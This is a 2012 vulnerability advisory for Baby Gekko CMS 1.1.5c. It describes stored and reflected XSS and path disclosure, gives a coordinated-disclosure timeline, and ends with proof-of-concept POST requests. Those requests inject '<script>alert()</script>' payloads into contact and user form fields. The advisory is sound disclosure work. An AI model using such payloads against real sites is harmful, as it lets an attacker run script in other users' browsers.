Vendor: Baby Gekko, Inc.
Product web page: http://www.babygekko.com
Affected version: 1.1.5c
Summary: BabyGekko strives to deliver high quality websites and other web content
fast and easy for all end users. It is a lightweight, extensible content management
system platform for publishing websites, intranets, or blogs.
Desc: Baby Gekko CMS suffers from multiple stored (post-auth) XSS vulnerabilities and
path disclosure issues when parsing user input to several parameters via GET and POST
method. Attackers can exploit this weakness to execute arbitrary HTML and script code
in a user's browser session or disclose the full installation path of the affected CMS.
Overall the vulnerable parameters to XSS are:
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Reflected (Non-Persistent) XSS:
8. groupname
9. virtual_filename
10. branch
11. contact_person
12. street
13. city
14. province
15. postal
16. country
17. tollfree
18. phone
19. fax
20. mobile
21. title
22. meta_key
23. meta_description
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Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.21
PHP 5.3.9
MySQL 5.5.20
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
Vendor status:
[05.04.2012] Vulnerabilities discovered.
[05.04.2012] Initial contact with the vendor.
[06.04.2012] Vendor responds asking more details.
[07.04.2012] Sent details to the vendor.
[09.04.2012] Vendor replies confirming the issues.
[10.04.2012] Working with the vendor.
[02.05.2012] Vendor releases patched version 1.2.0 to address these issues.
[02.05.2012] Coordinated public security advisory released.
POST http://localhost/gekkocms/admin/index.php?app=contacts&action=saveitem HTTP/1.1
btn_save Submit
id new
category_id 0
title Zero Science Lab
status 1
virtual_filename "><script>alert(1);</script>
branch "><script>alert(2);</script>
contact_person "><script>alert(3);</script>
street "><script>alert(4);</script>
city "><script>alert(5);</script>
province "><script>alert(6);</script>
postal "><script>alert(7);</script>
country "><script>alert(8);</script>
tollfree "><script>alert(9);</script>
phone "><script>alert(10);</script>
fax "><script>alert(11);</script>
mobile "><script>alert(12);</script>
email lab@zeroscience.mk
display_email 0
additional_info ZSL
POST http://localhost/gekkocms/admin/index.php?app=users&action=saveitem HTTP/1.1
id new
category_id 4
username test
password test
email_address a@a.com
firstname "><script>alert(1);</script>
lastname "><script>alert(2);</script>
status 1
btn_save Submit
